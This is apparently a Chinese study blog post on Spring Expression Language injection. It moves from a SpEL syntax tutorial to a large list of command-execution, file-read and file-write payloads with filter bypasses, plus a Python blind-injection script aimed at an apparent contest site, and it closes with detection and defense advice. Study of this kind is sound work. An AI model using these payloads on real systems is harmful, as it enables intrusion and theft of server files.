SPEL表达式注入


学习SPEL表达式注入

spel是什么

spel全称Spring Expression Language,SPEL可以基于xml和注解、bean的定义一起使用

spel是表达式计算的基础,实现了spring生态的无缝对接巴拉巴拉的,懒得写了,直接进正题好了

spel定界符

spel使用#{}作为定界符,所有大括号中的字符都被认为是spel表达式,在其中可以使用spel运算符、变量、引用bean的属性和方法等

spel可以:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

注意#{}${}的区别

  • #{}是spel的定界符,用于指明内容为spel表达式并且执行
  • ${}主要用于加载外部属性文件中的值
  • 二者可以混合使用,但是#{}必须在${}的外面

spel表达式类型

最简单的spel表达式仅包含有一个字面值

xml配置文件中设置类属性为字面值

此时需要用到#{}定界符,注意如果是字符串的话,需要利用''单引号括起来:

1
2
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'Err0r233'}"/>

设置好Bean id:

1
2
3
<bean id="helloworld" class="com.awa.speldemo.HelloWorld">
<property name="message" value="#{'Err0r233'} is #{'awa'} "/>
</bean>

还能够和字符串混合使用,如下:

1
<property name="message" value="#{'Err0r233'} is #{'awa'} "/>

java的基本数据类型都可以出现在spel并且使用

1
<property name="salary" value="#{1e4}"/>

例如上面的例子就是科学计数法的例子

demo

一个helloworld.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.awa.speldemo;

public class HelloWorld {
private String message;

public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("[+]Your message: " + message);
}
}

main.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.awa.speldemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

@SpringBootApplication
public class SpeldemoApplication {

public static void main(String[] args) {
ApplicationContext ctx = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = (HelloWorld) ctx.getBean("helloworld");
obj.getMessage();
}

}

编写Beans.xml,先创建一个Spring Config的xml文件

然后编写Bean id:

此时注意,最重要的一步来了:

将编辑好的Beans.xml复制到/target/classes文件夹内,否则会直接报IOExecption Beans.xml does not exist

此时运行主程序即可,运行结果如下:

1
[+]Your message: Err0r233 is awa 

除了字面值以外,spel还能够引用Bean,如下,直接在界定符#{}中写入Bean id即可:

1
2
3
<!--原来的写法,通过构造函数实现依赖注入-->
<!--<constructor-arg ref="test"/>-->
<constructor-arg value="#{test}"/>

无需利用单引号括起来

还能够引用类属性:

比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:

1
2
3
4
5
6
7
<bean id="kenny" class="com.spring.entity.instrumentalist"
p:song="May Rain"
p:instrument-ref="piano"/>
<bean id="carl" class="com.spring.entity.instrumentalist">
<property name="instrument" value="#{kenny.instrument}"/>
<property name="song" value-"#{kenny.song}"/>
</bean>

此时spel表达式指定了kenny的属性,等价于执行下面的命令:

1
2
Instrumentalist carl = new Instrumentalist();
carl.setSong(kenny.getSong());

还可以引用方法:

假设现在有个SongSelector类,该类有一个SelectSong方法,可以返回随机选择的歌曲,spel表达式如下:

1
<property name="song" value="#{SongSelector.selectSong()}"/>

如果要返回大写的歌曲名:

1
<property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>

但是这里还得确保spel表达式不会抛出NullPointerException(神经)

此时只需要利用null safe存取器:

1
<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>

?.能够确保左边的表达式不为null,如果为null的话就不会调用toUpperCase函数

引用bean的demo

例如某类ExampleClass

1
2
3
4
5
6
7
8
9
10
11
package com.awa.speldemo;

public class ExampleClass {
public ExampleClass(){
System.out.println("ExampleClass Constructor function invoked.");
}
public void say(){
System.out.println("say() func invoked.");
}
}

ExampleClass2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.awa.speldemo;

public class ExampleClass2 {
private ExampleClass exampleClass;
public ExampleClass2(ExampleClass exampleClass){
System.out.println("Example2 Class Constructor invoked.");
this.exampleClass = exampleClass;
}
public ExampleClass2(){}
public void aaa(){
exampleClass.say();
}
}

Beans.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="ExampleClass2" class="com.awa.speldemo.ExampleClass2">
<constructor-arg value="#{ExampleClass}"/>
</bean>
<bean id="ExampleClass" class="com.awa.speldemo.ExampleClass"/>
</beans>

这里通过spel表达式获取到了exampleClass对象,Constructor-arg相当于调用有参构造函数,输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
20:08:06.249 [main] DEBUG org.springframework.context.support.ClassPathXmlApplicationContext - Refreshing org.springframework.context.support.ClassPathXmlApplicationContext@3d04a311
20:08:06.399 [main] DEBUG org.springframework.beans.factory.xml.XmlBeanDefinitionReader - Loaded 2 bean definitions from class path resource [Beans.xml]
20:08:06.432 [main] DEBUG org.springframework.beans.factory.support.DefaultListableBeanFactory - Creating shared instance of singleton bean 'ExampleClass2'
20:08:06.449 [main] DEBUG org.springframework.beans.factory.support.DefaultListableBeanFactory - Creating shared instance of singleton bean 'ExampleClass'
ExampleClass Constructor function invoked.
Example2 Class Constructor invoked.
20:08:06.468 [main] DEBUG org.springframework.core.env.PropertySourcesPropertyResolver - Found key 'spring.liveBeansView.mbeanDomain' in PropertySource 'systemProperties' with value of type String
say() func invoked.

Process finished with exit code 0

T(type)

这个应该就比较有印象了,使用T(type)相当于new type

但是使用T(type)的时候,type必须是类全限定名,比如java.lang.Runtime

但是java.lang包可以除外,因为spel已经内置了这个包,使用该包下的类剋不指定具体的包名

T(type)还可以访问静态方法和静态字段

例如调用Math.random()获取随机数:

1
#{T(java.lang.Math).random()}

利用SpelExpressionParser:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.awa.speldemo;

import org.springframework.expression.spel.standard.SpelExpressionParser;

public class exparser {
public static void main(String[] args) {
SpelExpressionParser parser = new SpelExpressionParser();
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1);

System.out.println(String.class.toString());
}

}

例如上面这个例子,两个输出的结果是等效的

利用T(java.lang.Runtime)弹计算器:

1
T(java.lang.Runtime).getRuntime().exec('calc');

写进xml:

1
2
3
<bean id="helloworld" class="com.awa.speldemo.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}"/>
</bean>

spel用法

spel有三种形式的使用方法,上面已经用过两种:

  • xml
  • SpelExpressionParser
  • @value

其中前两种前面有使用方法,这里不再赘述

简单看一下@value的使用方法:

1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

然后具体看一下SpelExpressionParser的,因为后续的各种spel注入都是基于Expression形式的spel表达式的

spel表达式求值一般分4步:

首先构造一个解析器,也就是SpelExpressionParser parser = new SpelExpressionParser();

然后解析表达式,也就是Expression expression = parser.parseExpression("('aaa'+' bbb').concat(#end)");,注意这里#end

接下来需要解析上下文,这里#end要根据上下文来得到值,具体代码写在下面

最后就可以得到表达式运算后的值getValue(context),这里需要通过Expression接口的getValue方法根据上下文获取到表达式的值

总结成代码如下:

1
2
3
4
5
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('aaa'+' bbb').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end","!");
System.out.println(expression.getValue(context));

这里利用了几个接口:

  • ExpressionParser接口:解析器,使用parseExpression方法将字符串表达式转换为Expression对象
  • EvaluationContext接口:作为上下文环境,使用setRootObject方法设置根对象,通过setVariable方法来注册自定义变量,使用registerFunction注册自定义函数等
  • Expression接口,使用getValue来获取表达式值,使用setValue来设置对象值

example:

1
2
3
4
String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

spel表达式

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches

这里的条件运算不能用if else,只能用三目运算符貌似

算数运算

1
<property name="add" value="#{counter.total+42}"/>

字符串拼接:

1
<property name="blogName" value="#{my blog name is+' '+mrBird }"/>

^执行幂运算

关系运算

这里需要注意的是,在xml配置中,如果直接写>=<= 等会直接报错,这是因为在xml中><都有特殊含义,所以为了实际的使用,spel提供了几个等效替代的符号:

运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

例如:

判断total是否小于等于100:

1
<property name="eq" value="#{counter.total le 100}"/>

当然,==也是可以直接使用的,如判断total是否等于100:

1
<property name="eq" value="#{counter.total==100}"/>

这里返回的都是Boolean类型的结果

逻辑运算

只需记得逻辑运算符都使用了他们的英文来替代即可:

例如&&(也就是and)

1
<property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/>

两边为true的时候才会返回true

不过也有例外,not运算也可以用!替代:

1
property name="outOfStack" value="#{!product.available}"/>

条件运算

三目运算符

1
<property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/>

这里的意思是是如果选择的歌曲是May Rain的话,选择一个id为piano的bean,否则选择一个id为saxphone的bean(因为这里没有使用单引号,所以是bean)

判断是否为空:

1
<property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/>

如果kenny.song非空就选择kenny.song,否则选择Jingle Bells作为歌曲

为了方便,此时可以利用spel的三目运算符的变体来简化表达式:

1
<property name="song" value="#{kenny.song !=null ?:'Jingle Bells'}"/>

这里如果kenny.song不为null,则结果选择kenny.song

正则运算

利用match,例如:

1
<property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/>

集合运算

spel表达式还能够对集合进行操作:

例如下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class City {
private String name;
private String state;
private int population;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getState() {
return state;
}
public void setState(String state) {
this.state = state;
}
public int getPopulation() {
return population;
}
public void setPopulation(int population) {
this.population = population;
}
}

修改beans.xml,此时能够配置一个包含city对象的List集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:util="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/util
http://www.springframework.org/schema/util/spring-util-4.0.xsd">

<util:list id="cities">
<bean class="com.mi1k7ea.City" p:name="Chicago"
p:state="IL" p:population="2853114"/>
<bean class="com.mi1k7ea.City" p:name="Atlanta"
p:state="GA" p:population="537958"/>
<bean class="com.mi1k7ea.City" p:name="Dallas"
p:state="TX" p:population="1279910"/>
<bean class="com.mi1k7ea.City" p:name="Houston"
p:state="TX" p:population="2242193"/>
<bean class="com.mi1k7ea.City" p:name="Odessa"
p:state="TX" p:population="90943"/>
<bean class="com.mi1k7ea.City" p:name="El Paso"
p:state="TX" p:population="613190"/>
<bean class="com.mi1k7ea.City" p:name="Jal"
p:state="NM" p:population="1996"/>
<bean class="com.mi1k7ea.City" p:name="Las Cruces"
p:state="NM" p:population="91865"/>
</util:list>

</beans>

创建好之后可以通过#{集合ID[i]}的方式来访问成员

例如某choseCity类,通过挑选city集合内的一个对象来输出city

1
2
3
4
5
6
7
8
9
public class ChoseCity {
private City city;
public void setCity(City city) {
this.city = city;
}
public City getCity() {
return city;
}
}

通过beans.xml来选取集合中的某个成员,并赋值给city属性:

1
2
3
<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
<property name="city" value="#{cities[0]}"/>
</bean>

实例化bean:

1
2
3
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
ChoseCity c = (ChoseCity)context.getBean("choseCity");
System.out.println(c.getCity().getName());

会输出Chicago

中括号内支持函数:

1
2
3
<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
<property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/>
</bean>

此时会输出cities集合内的随机一个对象

同样地,也可以将其存入map,此时[]内可以放key,通过key来获取到value:

1
<property name="chosenCity" value="#{cities['Dallas']}"/>

[]还可以在Properties集合中取值,假设通过<util:properties>在spring中加载一个properties配置文件:

1
<util:properties id="settings" loaction="classpath:settings.properties"/>

访问settings内的一个token:

1
<property name="accessToken" value="#{settings['twitter.accessToken']}"/>

[]还可以返回字符串的某个字符:

1
2
'This is a test'[3]
返回s

查询集合成员

.?[]:返回所有符合条件的集合成员

.^[]:返回第一个符合条件的集合成员

.$[]:返回最后一个符合条件得到集合成员

例如choseCity修改为了一个list类型,直接返回所有的list

1
2
3
4
5
6
7
8
9
10
11
12
import java.util.List;

public class ChoseCity {
private List<City> city;

public List<City> getCity() {
return city;
}
public void setCity(List<City> city) {
this.city = city;
}
}

beans.xml添加了一个筛选的bean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:util="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/util
http://www.springframework.org/schema/util/spring-util-4.0.xsd">

<util:list id="cities">
<bean class="com.mi1k7ea.City" p:name="Chicago"
p:state="IL" p:population="2853114"/>
<bean class="com.mi1k7ea.City" p:name="Atlanta"
p:state="GA" p:population="537958"/>
<bean class="com.mi1k7ea.City" p:name="Dallas"
p:state="TX" p:population="1279910"/>
<bean class="com.mi1k7ea.City" p:name="Houston"
p:state="TX" p:population="2242193"/>
<bean class="com.mi1k7ea.City" p:name="Odessa"
p:state="TX" p:population="90943"/>
<bean class="com.mi1k7ea.City" p:name="El Paso"
p:state="TX" p:population="613190"/>
<bean class="com.mi1k7ea.City" p:name="Jal"
p:state="NM" p:population="1996"/>
<bean class="com.mi1k7ea.City" p:name="Las Cruces"
p:state="NM" p:population="91865"/>
</util:list>
<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
<property name="city" value="#{cities.?[population gt 100000]}"/>
</bean>
</beans>

主程序:

1
2
3
4
5
6
7
8
9
10
11
12
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
ChoseCity c = (ChoseCity)context.getBean("choseCity");
for(City city:c.getCity()){
System.out.println(city.getName());
}
}
}

此时通过chosecity的bean的筛选,会输出population>=100000的所有结果

1
2
3
4
5
Chicago
Atlanta
Dallas
Houston
El Paso

变量定义和引用

利用setVariable设置变量:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("mi1k7ea");
context.setVariable("variable", "666");

引用则需要使用#variable来引用

同样地,有根对象和正在计算的上下文

1
2
3
4
5
6
7
8
9
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("mi1k7ea");
context.setVariable("variable", "666");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

输出

1
2
3
666
mi1k7ea
mi1k7ea

instanceof

支持instanceof

1
#{'haha' instanceof T(String)}

自定义函数

例如某函数func(),需要注册到Context里:

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("func", xxx.class.getDeclaredMethod("func", new Class[] { String.class }));
String res = parser.parseExpression("#func('xxx')").getValue(context, String.class);
System.out.println(result);

spel表达式漏洞

这就得提到前面的一个接口:EvaluationContext了,这个接口有两个EvaluationContext

  • SimpleEvaluationContext
  • StandardEvaluationContext

Simple版的只支持spel语言语法的一个子集,不包括java类型引用、构造函数和bean

而Standard版本的是支持全部spel语法的

由于spel是支持操作类和方法的,可以通过T(type)来调用任意类方法,这是因为不指定EvaluationContext的情况下默认使用的是Standard版本的EvalutaionContext,在允许用户控制输入的情况下可以造成任意命令执行

弹计算器的poc:

1
2
T(java.lang.Runtime).getRuntime().exec('calc');
T(java.lang.Runtime).getRuntime().exec("calc");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.awa.speldemo;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class exparser {
public static void main(String[] args) {
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime.exec('calc')");
System.out.println(expression.getValue());
}

}

poc

以parseExpression为主,所以会把界定符#{}去掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//poc原型

//Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

//ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
//Bypass
//反射:
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

//需要有上下文环境:
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

//字符串拼接,绕过关键词:
T(String).getClass().forName("jav"+"a.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("jav"+"a.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

//有上下文环境的拼接:
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
当系统命令被过滤或者被URL编码的时候,可以利用String类动态生成字符:
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

//javascript引擎通用poc,后面都会基于他进行变形
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream()
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)


// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

//文件操作,利用nio,这里也可以去参考一下templatesImpl的读取,原理就是利用:
Files.readAllBytes(Paths.get("D:\\developJava\\CC1Test\\target\\classes\\com\\Err0r233\\EvilClass.class"));
这里补充一下全限定名:
java.nio.file.Paths
java.nio.file.Files
那其实就可以自己手写poc了,但是这里返回的是一个bytes数组实践可以看下图:
T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/flag"))

//修改成反射调用:
T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('flag.txt'))

另一个payload:
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /f1AgJvav"}).start().getInputStream(), "gbk")).readLine()

//使用spring工具类反序列化

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用

//nio写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

spel盲注

还记得前面的readAllBytes吗,他返回的是一个bytes数组,那是不是说只要通过下标就能够返回对应的数组了呢?

  • 基于布尔型的spel盲注读文件:

利用返回的响应码+三目运算符,还记得吗,如果不加引号,返回的字母就是取bean的属性:

这里kenny.song没有加引号,说明取得是对象的属性,如果环境里没有属性,就会报500

根据这个条件可以判断盲注

同时可以支持二分法(lt和小于号可以互用):

payload:

1
T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?'resp500':'resp200'

这里的resp500和resp200是模拟响应码,实际上只需要这样:

1
T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?a:1

即可,因为a没有加引号,且肯定不存在这个对象,故直接返回500

绕一下关键词的话:

1
T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('flag.txt'))[0] lt 127?a:1

这样就能够构造一个二分脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

payload = '''T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('/flag'))[{}] lt {}?a:1'''
res=''
url = 'https://prob11-wtste65u.contest.pku.edu.cn/post'
for i in range(0, 1000):
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
postdata = {
"expr" : payload.format(i, mid)
}
print(postdata)
html = requests.post(url=url, data=postdata)
if html.status_code == 500:
right = mid
else:
left = mid + 1
mid = (left + right) //2

if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res) #输出最终结果
  • 基于时间

利用T(Thread).sleep(1000),大概是一秒钟

payload改成

1
T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?T(Thread).sleep(1000):1

脚本就不写了,拿sql盲注的改下就好

🤔,总之看哪个顺眼用哪个,反正优先选择能够打反弹shell的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')

print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')

生成byte数组的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 转自:https://www.jianshu.com/p/ce4ac733a4b9

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径

${header} 文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径

绕过T()的办法:

1
2
T%00()
这涉及到SpEL对字符的编码,%00会被直接替换为空

绕过getClass的过滤

1
2
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

这里的数组下标可能要被修改,因为不同jdk下标不一定是一样的

检测与防御

检测只需要找关键特征即可:

比如关键类org.springframework.expression.Expression

org.springframework.expression.ExpressionParser

org.springframework.expression.spel.standard.SpelExpressionParser

或者代码里的expression.getValue()

防御也很简单,前面说过spel有两个Context,一个simple,一个standard。standard版的支持所有语法,而simple的只支持一些语法,将EvaluationContext换成SimpleEvaluationContext即可:

1
2
3
4
5
6
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));